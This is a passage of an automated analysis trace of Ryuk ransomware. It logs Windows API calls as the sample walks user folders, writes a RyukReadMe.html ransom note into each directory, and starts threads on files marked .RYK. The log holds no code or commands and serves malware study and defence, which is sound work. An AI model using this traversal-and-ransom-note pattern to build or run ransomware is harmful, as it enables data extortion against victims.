	[0260.850] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.850] GetLastError () returned 0xb7
	[0260.850] CloseHandle (hObject=0x858) returned 1
	[0260.851] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x55b08fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55b08fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0260.851] SetLastError (dwErrCode=0x0) 
	[0260.851] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.851] GetLastError () returned 0xb7
	[0260.851] CloseHandle (hObject=0x858) returned 1
	[0260.851] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x55b08fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55b08fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.852] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x55b08fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55b08fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.852] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55b08fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x55b08fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55ff1d30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.852] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55b08fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x55b08fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55ff1d30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.852] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.852] SetLastError (dwErrCode=0x0) 
	[0260.852] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.852] GetLastError () returned 0xb7
	[0260.852] CloseHandle (hObject=0x858) returned 1
	[0260.853] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5a2e47f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5a2e47f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0260.853] SetLastError (dwErrCode=0x0) 
	[0260.853] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.853] GetLastError () returned 0xb7
	[0260.853] CloseHandle (hObject=0x858) returned 1
	[0260.853] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5a2e47f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5a2e47f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.854] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5a2e47f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5a2e47f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.854] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x56a35c10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="brndlog.bak.RYK", cAlternateFileName="BRNDLO~1.RYK")) returned 1
	[0260.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0261.128] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.129] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x56ace190, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x30d2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="brndlog.txt.RYK", cAlternateFileName="BRNDLO~2.RYK")) returned 1
	[0261.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0261.132] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.132] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
	[0261.132] SetLastError (dwErrCode=0x0) 
	[0261.132] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0
	[0261.133] GetLastError () returned 0xb7
	[0261.133] CloseHandle (hObject=0x8e0) returned 1
	[0261.133] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0261.134] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.134] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
	[0261.134] SetLastError (dwErrCode=0x0) 
	[0261.134] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.138] GetLastError () returned 0x0
	[0261.138] WriteFile (in: hFile=0x8e4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.140] CloseHandle (hObject=0x8e4) returned 1
	[0261.141] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0261.141] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.141] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.141] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0261.141] SetLastError (dwErrCode=0x0) 
	[0261.142] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.142] GetLastError () returned 0x0
	[0261.142] WriteFile (in: hFile=0x8e4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.145] CloseHandle (hObject=0x8e4) returned 1
	[0261.146] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
	[0261.146] SetLastError (dwErrCode=0x0) 
	[0261.146] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.146] GetLastError () returned 0xb7
	[0261.146] CloseHandle (hObject=0x8e4) returned 1
	[0261.146] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0261.147] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.147] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1
	[0261.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0261.150] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.150] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 0
	[0261.151] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0261.151] SetLastError (dwErrCode=0x0) 
	[0261.151] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.151] GetLastError () returned 0x0
	[0261.151] WriteFile (in: hFile=0x8e4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.154] CloseHandle (hObject=0x8e4) returned 1
	[0261.154] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
	[0261.154] SetLastError (dwErrCode=0x0) 
	[0261.155] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.155] GetLastError () returned 0xb7
	[0261.155] CloseHandle (hObject=0x8e4) returned 1
	[0261.155] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0261.156] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.156] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.156] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0261.156] SetLastError (dwErrCode=0x0) 
	[0261.156] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\fkluidu0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4
	[0261.157] GetLastError () returned 0x0
	[0261.157] WriteFile (in: hFile=0x8e4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
